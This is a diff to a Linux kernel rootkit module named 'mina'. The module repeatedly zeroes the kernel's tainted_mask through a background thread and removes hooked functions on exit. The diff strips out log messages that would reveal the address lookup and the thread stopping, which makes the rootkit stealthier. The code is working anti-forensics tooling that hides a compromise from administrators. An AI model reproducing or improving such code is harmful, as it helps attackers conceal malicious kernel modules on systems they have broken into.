diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -138,9 +138,7 @@ static unsigned long *get_taint_mask_address(void) {
if (kallsyms_lookup_fn) {
taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
- if (taint_addr) {
- printk(KERN_INFO "tainted_mask address: %px\n", taint_addr);
- } else {
+ if (!taint_addr) {
printk(KERN_ERR "Could not find tainted_mask address.\n");
}
} else {
@@ -153,12 +151,10 @@ static unsigned long *get_taint_mask_address(void) {
static void reset_taint_mask(void) {
if (taint_mask_ptr && *taint_mask_ptr != 0) {
*taint_mask_ptr = 0;
- } else {
- printk(KERN_WARNING "Invalid tainted_mask address or already reseted.\n");
}
}
-static int zt_thread(void *data) {
+static int zerotaint_thread(void *data) {
while (!kthread_should_stop()) {
reset_taint_mask();
ssleep(5);
@@ -178,7 +174,7 @@ static int __init module_start(void) {
return -EFAULT;
}
- cleaner_thread = kthread_run(zt_thread, NULL, RESET_THREAD_NAME);
+ cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
if (IS_ERR(cleaner_thread)) {
printk(KERN_ERR "Failed to start tainted_mask cleaner thread.\n");
return PTR_ERR(cleaner_thread);
@@ -191,11 +187,9 @@ static int __init module_start(void) {
static void __exit module_end(void) {
if (cleaner_thread) {
kthread_stop(cleaner_thread);
- printk(KERN_INFO "zerot stopped.\n");
}
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
-
printk(KERN_INFO "bye-bye mina ~\n");
}
|